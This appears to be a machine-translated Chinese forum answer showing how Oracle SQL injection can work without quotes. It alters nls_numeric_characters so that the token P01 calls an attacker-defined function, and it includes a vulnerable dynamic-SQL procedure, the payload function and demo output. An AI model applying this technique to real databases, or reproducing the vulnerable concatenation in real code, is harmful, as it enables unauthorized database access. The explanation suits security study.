是的,可以执行SQL注入攻击而无需在参数中提供引号。
做到这一点的方法是利用如何处理数字和/或日期的方法。您可以在会话级别指定日期或数字的格式。通过操纵它,您可以注入任何字符。
在英国和美国,默认情况下,逗号用来表示数字的千位分隔符,小数点用句号表示。您可以通过执行以下操作来更改这些默认值:
alter session set nls_numeric_characters = 'PZ';
这意味着“ P”现在是小数点,“ Z”是千位分隔符。所以:
0P01
是数字0.01。但是,如果创建功能P01,则在进行数字转换之前将拾取对象参考。这使您可以在数据库上执行函数,从而赋予您越来越多的权力,如下所示:
创建一个基本的“通过id获取”功能:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
还要创建一个功能P01,该功能执行了一些不良操作(在这种情况下,只是创建一个表,但是您知道了):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
我们很高兴去:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
在任何地方都没有引号,但是我们仍然设法执行“隐藏”功能P01并创建表t
!
尽管这在实践中可能很难做到(并且可能需要一些内部知识/帮助),但这确实表明您可以在不带引号的情况下注入SQL。更改nls_date_format
可以允许执行类似的操作。
有关数字的原始发现是David Litchfield撰写的,您可以在这里阅读他的论文。您可以在此处找到Tom Kyte关于如何利用日期的讨论。